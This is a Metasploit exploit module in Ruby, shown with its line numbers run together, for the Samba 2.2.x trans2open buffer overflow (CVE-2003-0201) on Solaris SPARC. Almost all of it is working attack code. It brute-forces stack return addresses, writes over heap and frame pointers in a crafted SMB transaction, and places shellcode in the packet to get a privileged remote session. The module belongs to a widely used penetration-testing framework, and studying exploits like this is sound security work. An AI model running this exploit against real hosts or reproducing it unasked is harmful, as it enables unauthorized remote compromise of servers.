Path: blob/master/modules/exploits/solaris/samba/trans2open.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Samba trans2open Overflow (Solaris SPARC)',16'Description' => %q{17This exploits the buffer overflow found in Samba versions182.2.0 to 2.2.8. This particular module is capable of19exploiting the flaw on Solaris SPARC systems that do not20have the noexec stack option set. Big thanks to MC and21valsmith for resolving a problem with the beta version of22this module.23},24'Author' => [ 'hdm', 'jduck' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2003-0201' ],28[ 'OSVDB', '4469' ],29[ 'BID', '7294' ],30[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]31],32'Privileged' => true,33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00",36'MinNops' => 51237},38'Platform' => 'solaris',39'Targets' => [40[41'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',42{43'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack44'Offset' => 1103,45'Bruteforce' =>46{47'Start' => { 'Ret' => 0xffbffaf0 },48'Stop' => { 'Ret' => 0xffbfa000 },49'Step' => 12850}51}52],53[54'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',55{56'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack57'Offset' => 1103,58'Bruteforce' =>59{60'Start' => { 'Ret' => 0xffbefaf0 },61'Stop' => { 'Ret' => 0xffbea000 },62'Step' => 12863}64}65]66],67'DefaultTarget' => 0,68'DisclosureDate' => '2003-04-07',69'Notes' => {70'AKA' => ['ECHOWRECKER'],71'Stability' => [ CRASH_SERVICE_RESTARTS, ],72'Reliability' => [ REPEATABLE_SESSION, ],73'SideEffects' => [ IOC_IN_LOGS, ]74}75)76)7778register_options([79Opt::RPORT(139)80])8182deregister_options('SMB::ProtocolVersion')83end8485def brute_exploit(addrs)86curr_ret = addrs['Ret']87print_status('Trying return address 0x%.8x...' % curr_ret)8889connect(versions: [1])90smb_login9192#93# The obstacle course:94# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);95# smb_dump(smb_fn_name(type), 0, outbuf, outsize);96# return(outsize);97#9899# This value *must* be 1988 to allow findrecv shellcode to work100pattern = rand_text_english(1988)101102#103# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u104#105# Patch the overwritten heap pointers106# substr($pattern, 1159, 4, pack('N', $target->[4]));107# substr($pattern, 1163, 4, pack('N', $target->[4]));108#109# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0110# substr($pattern, 1195, 4, pack('N', 0xffffffff));111#112# Fix the frame pointer (need to check for null in address)113# substr($pattern, 1243, 4, pack('N', $target->[3]-64));114#115# Finally set the return address116# substr($pattern, 1247, 4, pack('N', $curr_ret));117#118119#120# This method is more reliable against a wider range of targets121#122123off = target['Offset']124ptr_to_non_zero = target['PtrToNonZero']125126# Local variable pointer patches for early versions of 2.2.x127pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9128off += 36129130# Overwrite heap pointers with a ptr to NULL at the top of the stack131pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10132off += 40133134# Patch the type index into the smb_messages[] array...135# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0136pattern[off, 20] = [0xffffffff].pack('N') * 5137off += 20138139# This stream covers the framepointer and the return address140pattern[off, 400] = [curr_ret].pack('N') * 100141142# Stuff the shellcode into the request143pattern[3, payload.encoded.length] = payload.encoded144145trans =146"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00" \147"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" \148"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00" \149"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01" \150"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \151"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90" +152pattern153154sock.put(trans)155handler156disconnect157rescue EOFError158print_error(e.to_s)159rescue StandardError => e160print_error(e.to_s)161end162end163164165